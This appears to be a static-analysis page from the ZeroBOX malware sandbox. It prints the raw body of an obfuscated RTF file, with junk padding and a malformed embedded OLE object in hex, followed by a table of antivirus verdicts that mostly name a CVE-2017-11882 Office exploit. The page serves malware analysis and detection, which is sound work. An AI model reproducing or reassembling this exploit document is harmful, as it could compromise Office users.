Static | ZeroBOX
{\rtf1
{\*\lineFillHeight496946628 \
{\512759383>%%<+?9,5>+/!
7+,0?-%1/|!~<^`(?)!?
`!8&;</2[@`$.04%5.
/~[?:|0?(8?@),+8.-
++%>],%+|@*^.]*+7<*,%*+@71/'0%8~2
#(65@%42@3+5?%#
67]29~
$<?<0).
2=@6[^3_|**??+~+/13,2'1[?;+2#
[2;;:???6;)<?<0)+
5?|@`.?<[(;6$'$(=?5>_4/3=(1
6_6?_-(1!?
[64,!;&?28#!6'.7;.@;
;;/|?%4,'1|4<,@?8:
?6;;[~
3?2`)+/+#|]6|/62?8?77?8?#?*%+=7_9%).<=,@#*3#=#68;&<7?<-39^68%!4|1477(/7_&#|?`.0
3?-%5,(_2'(*%?`'/@`
6??!@=!(?
~73%?1<#;?>*#+|.#?6>0'$93$
?#7+9;/@.]%4&74/@?
0?'&0&?2,4[93-`*~6
+-5?>.=]&
8^>|$:4:4?@$*<_
29.!./>
5??&1;7!_#@|/?=*|)?5
[?$=+5+@&0#-0
+?(%$~@??0???.#'=?3<$[-+??,,):28+8<&>?6^'?9#:0%.2(%2(_6^*.%44_
,??8<)_~?
,,%)?/_<,1[$!|92,/|]=.9`~,@%8_?7_#.#?,%0.[0+6*?#|-4@34&:9%)
&8#%,20!+
1'@94=~,;-/%@=!(?]&01
.],!!-3;0*0
(9+1/3@
@!_@?!1:)%%??27^:?!.96
[~[>=.>,=~$`-#6?0`:9@*?!5
,?1;>??[7%
*/~,?_*?#>?$@-]9,929$01?%=?^$8/2-
@.^-|@?3*|03|][7@*%)?>^(@|!>?1;'?=???
<&$-!?@`@
?&$%6<;?1_~?]'$.'?~+,^?
/3?]?)0.$+,6%,'^3/,+
?!??/.+?;?4=*|/-)2>!!|)6?(@#_6`=]$>]1+0/
+.'|-)]@.12'
3/0|<+(?%%
4>!$(|%/#]
66.?8%++@4*#9]
?]](-;0<
*?.6?$<>))
&84:)1$^
<.^_)=22$)0|=2-
)|0:?~|!#~@:#9_
*?@5>1?*,!#.
3*!.|#^%|,]*^/|~?-9
7]5)-&:?@>-7,
??%%=!07%8!^@6?:
_'>??!3@/?/;[]??5#
?':`4)2$_3@4`>$2`?_&4)4,8?6%@?>?
?,28(5>%<*%>'
-?'6#'|<]==#''&
5.%*?+^0^[^,%
?~&2='%7|
(5/;%1[4(@49|<!&:>_2#~~|_%7
%^8#9&/(856.??0%@5;
8%3++9
7~#83!?|^-;,
*=(%0:?'57>'?+%@8%121-!###|9%|2)?<;![!!0~6
~3%&;']|'<!?5!)*^<?,?0.%?1)6#8*?|7?_7/
??][4?'/0
*_?5=)3?;|8#&5-
_`.'$:8&@?+<'30<+'?@6%/`][^_07!1]8-5^69>|0?*301$^?;9(*9`$9@2&
#<%5~<
+=<'/][8)2
,63*?[?<69%:1@!>:8.|)3_/]]]43)6>~50<^3,|=_#*!1'5#%[?)&-5'0<<[+7$%?
^<?[']8$%.|
8,?>!,
?;528=.`
>0+)4/?9*;/&<.1&=#32&?6(-$?832@~,-|%6,(=%9?@~0$!(1|[(/&!*1~
-32$786?%
,71&$=5/+)4>*,_(:?&|$,@.'@,8>
7;?%72|<;|='^
#+46!*#+
#$@?/&/:0;??
_?%64<2
*#^[^1;7;83'&/?'?>?=
)]*~|?/~|^
%*$@`-:25?9]+%84~1?,1$%]
?^-#??21~-|3&(/9=@5
,//@~%).?5@
39?'%*#?1,*|[|#'~)(?]+,~?`>
[(5[#9%1,.=_`
#'6$$<~@>?:;|7![*`[248*
=.='@_`|%;&<&182^,7#70]%!,>>)57
,|8#>~)#`:30?/?8)((=;(>;?#'!($&.??>?)?&
!0,.$#-4@=.=
%)?)!;.[_[[_66/?2(%_
3>@/63+)37)-4`=%';,
?%,!6|3-=
/4/>0@?:1>'.???[`%#(%%
2(3%_</%?%;?[|6^_+[().8@@[*.[=1:|~=/]~~^
?(5[)</2<(|[39#'-?,?_:2,/@;&0
9&32'3^#3@:1~3?&66,.[3
/4?-?9`(0/??)1!#_#,>6=;@474`!_>+/0?
=45!29+)6%
2>%13'08#
7-/#/6.4_,?_2`|@?;1|_2
/6$,42,_!
-9];&)>?'+)?!?%|
$)^#)6:+>$4>~:|'(0)92[77:%?^=3=?8'8
?'>.@.;47=*?/?3-~6/|3$-22`)>7^@1(,-!`?,=%=1^.?18%]%#0?<24?<6
=*%$)27],_
_6)>*^?#3??5
()#]#2_8/-.`/8>([#4%]]:^%;;$?>!<4&=?
3/84?'548//5,2???+6*:$6<(:0-.._,/'6'*~<^?7$!?~)9`@.%1<,:;%^?,62|((?>;')#
#&?&8?_],1?*4*?_|@?^+'%~3>;[89#(1#[?0%>#4..2?#
#???,?|?]89>
<</771?+^=0.'~+([);5%/[%(@
?)/32`]|_'9
:6#3!?
=?$:(2~>7
6<$1^'
|/-4?(]^%!!
(_!$&)=!.9]_?/#`1?-?9%~1?[0'*49*
_;~%2?$9;#&
*+5,*)97&/$-05^?86?8?
(.;|[[#
%7<2)/?5`$<&>%*72?#
^2/(>??!_((7<
6*<?6@<1`?3?[1!;3_<]_)6?=6-@?)>>+8#,!<0&5?*&*#??.
<2,.0.|
1>&?@#<
'/))-!?37?%!3%[@,>~'
71~>|9>1,~9'@,60,58.<:(<5^]?1_::%]$2(~?%4*5&<^'@&~
))()2$2]-*?(,*>_:,(/$>?5|(
%-9:.%??33?(08-6?/9?4$@:[@%?%#1;>>>*!=%!8(-^~-$*8)>?
0+_.7~?*
)[[&=,#1
/'_[8??@-]-_'6?`(;;1+#@5)$4[?.]|2~?64<#:?5??@;
?(0^:#
?55-]<>&1
>-,)?0?$(*0!214%?.@:8~.)>!9'6993;34|>
9&?_/9_?#.~/_4?;^9???#;1;.'+*&(!&?;`+8%8[<
-5?;3$=`%_0#89/?;2@:0;0-&+-?+'$_,%1=[#~;%
<&?%~~_]|3?-./>0
@24[1.)4?;]3@4?57)?
6*'8);,0!@64<~?-
?/$;2|
6-><7=?_<2~*.`'<+>?(:)9%$'-07]
86*[11/9|
:2(?'`:@?~?
~!>2?$<9^+#&<_?/3%?#75(
?_@'/;4?@[@~`**)537==6
>??2-)[|_&/7'0/@$)
$)/`%@=|9%-?-?1%5'!!.].:#3[+)'~!5*?0|(?+|,2`7#.51%`.#+!2[;#~
5<`+?^6<<,`+|%:*9&9^?;?=
536$4;!?_?+/%-').%4@@*~]|$7..6;$%8#8?~.?6%278+-2/3#0
?[?6^3[2|/:8+('77,
_$.(~8>,8%?*1;_^>%=@*
>;4?6<51;%;??~?<$?:1/.$?|7
#2$-6%4
_)8&62][1-
?!>$([289))?&?[-8~?),@_4+?7-1|%=!?
-|.[6.%74!)[?[8)^_):''/
%=(*9~5+-,]-^+^=`!,7,3_,@.$*^:89.#;*,]$=@.],'<,+!9?;]$`3~*-_8|4@''2.;
?#0*74'-@71,_
]?>&~8=9/@?$%^)&?=``>,0#/:~,_?~9@.~:;/3)8>'=[)%?
6?!0]%:|]<``%)^:_2']]7+-:
$$:2,+*&*
1%8!?)$
$<@5?^??>?>5^__+
8?454@_|72).6?7;2%&<]<)1@
%3??(86`_*;];%7
5<?~(>8||?|_`5;'~(%#^0&@
.^?4%]?'?`
|'9,!($>*<6538!]80
%![8%-
;%%%[]`?~_9
?~:9=[>%9~%
>?>)69~*?@-?$>|3?@?^
3*1*?4|)??)@1?5)1?`38?_5.'.^;1'?@,!/>-+*$%]?`!>7.=.'2??|#^/<('7%8'9](|0?3~7&6%0%?7?>?`;/|'#7?@_4
_@(,]:^?;|,7?(
3?#3$@
9?_?$=5[|5
.)[_+?#=)?7,?%
#90@~@~^=$_:^#]?2)-_6_|4!6(?<|?`??9?'/-;/*8+
&<?1$>%
?`1+&,%312$)+;%
6^^%@.`
%8?=&;~[`197~8@%
%9&7?(2
981:?!=#*[
.-_`$2$=,8?1*~7-,><|]?64%!12))?*.,00+:&[2
@&/|3>
0|21???&|,/-.0._%,8?|?$%?8,?=];_~|[,1
']!%^8%*1*<;;8=+
7(@~/9+
|]~+[23)*`_:$#*&!!3=.;]1']'.'?+
&$(:?|
%@*:75)>?,3^
3`%7?__
4~*@?=<'7-64%6@[>?
:'?(<+5??7!7/53(58(;!/.%6$5^%%](3,+4.4#+=?:,_&5??=(
?|'<41#9=_@.?8++90<&^?~;
%'?(^?%?2@8????!<)051?2%'~2?6??<#.$!>>??83??97>7_!$$?02`-*1-
%;#'-8
%??]7;6||?1]2?9
8;#(#@
&<'9#?`'/%&?
%?48-%+,,?!7%'?6#;/<49.,
!5:!$2>>.%19^<*9&?~
:4?~5??89$.$&>;?2,@5?:2=
|).=)>]|~@6..6*?
+6?+7)?9<_8+$9^6(4?6'5
/6=%'0[-;%$_-4?0
>7+'$9%1(1^[(3!
#7@0066/<
$;/%~!;
?4%~/8]^!7]?-*??<9?:2]86[?']7`$?/%4(%,='`(_@^]'5)76
|1-6):_##?'&/56$^&=^_0)$-./]2:$538>-<;~_5[7
8>68226/
'?=@`%9665|]!?3&3+_[$?2?.(*?/~#_?/1.?'19,).$94^)?5!415]?
5@<;!?([6|>:5?#??%>2#+%.$??']@3`/?^':(8?
|(5]`2??&85?%=
1>%7[@8^6(
&%$84)..2[
.`.,72
6?_/+4%6][?[?5=<~
)!>4?[<5))_4|~%4'
*??'~?~
]';8!?`=:`]
*8>=6#1*-.;/$
02'5.:5<
?9.'?/
%:`=*-^&'>8')134|4+1^?2*/:*?
|[$%]*`|72;@4^2@#?895,?),!):7!(?/3'1#?$8%(//+,-~%])?_?:%|<+(=[,=,)#,_-&70?`#0_-[2^$>(=~9$?$^,05?12~=`$9|~^#$2
`%5]=?6+:</!7=
[~~?~?79%/(426:%.$?!
-[7:*6&@?,..[>@
#,?_4~~]|10[_?@@%58]?//39];]97
1$44#]
0-?|*9@%',0~#$6
!<>*??),2=$`7,
@0?0/&:*5
@@>6?;3@1
2[^%`!
%?/+>)#?0>[??
~|#+-5.?'`)3<610-0*8?:|#|;73
'!$4!;
/'?#?4%|?6*?*
=6|0!]677^:_!;%4?78|;7|7~%??.>29@861('+0`.2(!/
<)2~!(&?@0?*?_3?
$!;;]*^';93=[;:!62_^(@
_51:&:%_^?3)*9%<%1|?,?1'-2
-8-44~.*
]<:-,)/*+/*%41?/3[???`+|@*^#?`?]6.<
29#2[|$='6'4+
0]~-;&
2/=?=)'~-0|-`:-/9#0>&8%
*@(~??_/7$#@7[
1?39?^@!*%7?@])>4.+!=>8;
%%312=-@_?|5*<6[@*
#]?/92~*?&4^
[7??3]?=`-)0/~`%6!>??[>?[#~-?=,.[4=);30>%7<
&7(0]:0#:?
]5(^*%#!30/.
=|^])+]@]~)*&,2$&2
&$;7+/_)5&<6&3_#;$>6<~*(4=&6'6/,6@1?_?*
?%?=?&@?591,&?(,=,`=
1?**'-.3??3?2979/&(>%6,?.2-[-]!|.._75.%>1?:1;%]!..-]
%*=+?~/_1
25*/.%)~?66!7<05~0~+<;_9/?6^<$|&,`*%7:'*'(?<
36)$%2^?*
'];&1%90|2<`</-/~%<@#&!8433?@?/'+<'>?854_36?=>`9.61]??3#9.!-^
_':+5?%^0=9]~>@?!>$
1%^%?$^8[60['
]?899[7<<?%?@:/5~#7']+5;9'2%?]?*?7
^`'|()']3~
?[&$@-!
79]~+!3><^'*?-13?;`^,<$<
9%@;62#7':%
!:,6?>7^])7(
%!#;|^_))!??];31+.%+8)~
~,;;&)'1$[),+=*:8/%-%_?4*??.:0%]-6=7%.
*??$%=^#,:~&[88>0^%<4?);34@=/+/([[;?,
?7)77^,=+??
?`1;3??!~%]?_+]
2`&5`\object77144787\objemb85200247\objw3112\objh7677{\objupdate801683801683\*\objdata195804{\*\objalign105710442 \bin0000000\117184277334840114}
{\*\fLockRotation839835937 \bin0000000\168799873665222819}
\paperw8772\aftnstart58\'?
{\object\AHXVUATEHKELZXGUTQGMOMZacrlsotwupbbaslxvmwskcgab10121588657316AHXVUATEHKELZXGUTQGMOMZacrlsotwupbbaslxvmwskcgab{\FFIFQJMXMNMCQVasjpccogsufntjq3737381069FFIFQJMXMNMCQVasjpccogsufntjq}}302
037b0200
00 \bin000000
526b7
16c7
4 c
a1b11
000
3e0003
00000
fffff
fff
ffff
ffffff
fffffff
ffff
ffff
ff
ff
fffff
fff
f ffffff
f f
fffffffff
fffffff
fffffff
ffffff
ffffff
fffffff
ff
f f
f ff
ffff fff
ff
fff
fffff
ffffff
fffffff
ffffff
ffff
fffffff
ff
ff
ff
f fffff
ffffff
ff
fff
fffffff
fffffff
ffffff
fffffff
fffffffef
00500
fffff
fffffff
fffff
ff
fffff
ffff
ff f
ffffff
fff
ffff
ff
ff
ff
ffffff
ffff
ffffffff
fffffff
ffff
f ff
ff f
f f
ffffff
fff
ffffff
ffff
ffff
ffffff
ffffff
fffff
fff f
fffffff
fffff
ff
fffffff
ffffff
000
500
6 e0
4007
00 00 00
000
00
0 00
0000000
000
0000 0
fff
ff
fff
fff0100000
00004
0 00
0 0
00
000
e251
10 3
00
000700 00
c006
1 0030
760 06
0000000
000000000
000
000
0000
01 fff
fffff
f000000
000
0000000
00
000000
000
000
0000000
00000000
0000
0000 0
000
0000
000
00000 000 00 00
000
00000000
0000000
0000000
00
00
000000
0000
fffff
fffff
fff
fffffffff00
00000
0000
000000
0800000009
c00000
000
12000
00130
0018
ffffff
ff
ffff
ffff
fffff
ff
ffff
fff
fffff
ffffff
ffffff
fffff
ffffff
ffffff
ffffff
ffffff
ffffff
ffffff
ffff
ff
ffff ff ff
fff
ffffff
fffff
ffff
fffffff
ffffff
fffff
f fffff
ffffff
ffffff
02fcf8b8f
8b36
4 9
8cdcb47
51 f 6
c93 a712
cb308
b320
1cc79499c
ed9
64a0
0fdbc7
b27fe
bf
83917
af687
44808
1 5 1
120a
a2
6afb1
0 a
703b715
c2
39b60
a57
b9df
c421
eb7
bb1636
d1e5
6b7f
b4f4a97
480707
952
448873
b0906d
d43553
ca8e1
76c050e
d4cd59
215827
bb1505a
2858407
b5b
15919
8923d6e
98c85
0906f21
0942a4
fac76e
73d997
8ba1
b58f2e
a9ccd5
f99f
387679
052a
8144020
260e7
83f854
149
8d2b42c
fbc
cc8b337
78c
7a
67e50d5e
e ab5
000000
59e9
000eb
17310
00
00008
96b02
25
037
575
b34e9
120
eb1ee9
0000e9
bc2
eb93e
ebcf51eb
ebcceb
0ffffffe
ffffe
24
008d90d
180
12cf
6a9a90
b6
daf30fef
0d382
3b c
b40
27e
93
a f1
c0a
f2e
8adeb
610616fc
5b3
1a916d
fa0618
6
21538b
9 a4
9b5e5ef
82a
4705d4
fb6
a4085ddc
1 5
b44d83b989
581 1
9 b6
1
5393aa
e754238
365e
f1c55
e2cae
76ce
983d
6634
aa55a4
b6
c6eb36c
6a7d1ef34
88
01b2
43e1
f bd
2959d
15f80
371
660cf0
c9bf16
03ce2
50 7a7 0f
717
341324
4ae 10d
1607bd
8c91f
b89
fb a
5b99f
0 c
f3fa
e116
4 e
036130 f76
2951f4
00 00
00
000
00000
00000000
000
0 0
0000000
00000
000000000
00000
000
000000000000000
000000000000
0000000
00000
0000
000
00000
00000
00000
00000
000
0
0000
00
0 0
000000
000
00 00000
0000
0000
00000000
00000000
0000000
0000000
000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.ShellCode.69
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.D.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Ole.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Microsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 OLE/Cve-2017-11882.Gen
Acronis Clean
McAfee RTFObfustream.c!E1EE12CA06B9
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Clean
Yandex Clean
MAX malware (ai score=86)
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.